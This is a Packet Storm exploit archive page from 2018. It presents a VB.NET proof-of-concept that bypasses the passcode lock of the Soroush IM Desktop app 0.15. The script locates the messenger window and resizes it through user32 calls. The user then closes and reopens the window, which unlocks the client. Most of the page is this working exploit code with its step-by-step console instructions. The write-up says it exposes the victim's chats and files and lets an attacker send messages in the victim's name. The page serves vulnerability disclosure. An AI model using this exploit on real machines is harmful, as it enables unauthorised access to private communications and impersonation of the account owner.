what you don't know can hurt you

Soroush IM Desktop App 0.15 Authentication Bypass

Soroush IM Desktop App 0.15 Authentication Bypass
Posted Jun 14, 2018
Authored by VortexNeoX64

Soroush IM Desktop App version 0.15 suffers from an authentication bypass vulnerability.

tags | exploit, bypass
MD5 | 8b2face38684b376cf73245beb80de94

Soroush IM Desktop App 0.15 Authentication Bypass

Change Mirror Download
# Exploit Title: Soroush IM Desktop app 0.15 - Authentication Bypass
# Date: 2018-06-13
# Exploit Author: VortexNeoX64
# Vendor Homepage: https://soroush-app.ir
# Software Link: https://soroush-app.ir/UploadedData/Soroush.exe
# Version: 0.15 BETA
# Tested on: Windows 10 1803

# Security Issue:
# Attackers can unlock the client app installed on Windows OS(others?) without the passcode
# and access to all the files, chats, images, and etc.
# the attacker can then send, receive message of any kind on the behalf of the authorized user.

# PoC (.NET 4.0 Visual Basic)

''make sure before running this exploit the Soroush Messager window is NOT minimized
''adding InteropServices for DLLImport
Imports System.Runtime.InteropServices
Module Module1

''FindWindow API from user32.dll to get the window handler by lpWindowName
<DllImport("user32.dll", SetLastError:=True)>
Private Function FindWindow(lpClassName As String, lpWindowName As String) As IntPtr
End Function
''MoveWindow API from user32.dll to move and resize the window to trigger the bypass process
<DllImport("user32.dll", SetLastError:=True)> Private Function MoveWindow(hWnd As IntPtr, X As Integer, Y As Integer,
nWidth As Integer, nHeight As Integer, bRepaint As Boolean) As Boolean
End Function
Sub Main()
Try
Console.WriteLine("<<<<<Soroush IM Desktop GUI misbehaviour leads to passcode bypass>>>>> ")
Console.WriteLine("****** Developer: NeoVortex")
Console.WriteLine("****** Client Version 0.15 BETA")
Console.WriteLine("****** Tested on windows 10 1803")
Console.WriteLine("[****] Make sure the Messager windows is not minimized ")
Console.WriteLine("[Press any key to start the exploit...]")
Console.ReadKey()
Dim pss() As Process = Process.GetProcessesByName("Soroush")
Dim hWnd As IntPtr = FindWindow(Nothing, "Soroush")
'' check if the app is running
If (pss.Count > 0) Then
Console.WriteLine("[****] Process found with id: " & pss(0).Id)
Console.WriteLine("[****] Process File " & pss(0).MainModule.FileName)
Console.WriteLine("[****] Resizing to trigger the vulnerability.....")
'' move and resize the window
MoveWindow(hWnd, 100, 100, 100, 100, True)
Console.WriteLine("[****] Done")
Console.WriteLine("[****] Now close the Soroush messager windows via X button (NOT via system tray) , then reopen it ")
Console.WriteLine("[****] Passcode will be bypassed! ")
'' now you should close the exploit window and then close the Soroush messager window manually via X button(NOT FROM SYSTEM TRAY) because the Soroush messager window dose not support WM_CLOSE signal for the single window closing
''if anyone could close the GUI window without accually killing the app, he/she is welcome at gitub link below.
Else
''app is not ruuning
Console.WriteLine("[----]Process not found ")
End If
Console.ReadKey()

Catch ex As Exception
Beep()
MsgBox(ex.Message, 16)
Console.ReadKey()
End Try
End Sub

End Module


Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    0 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close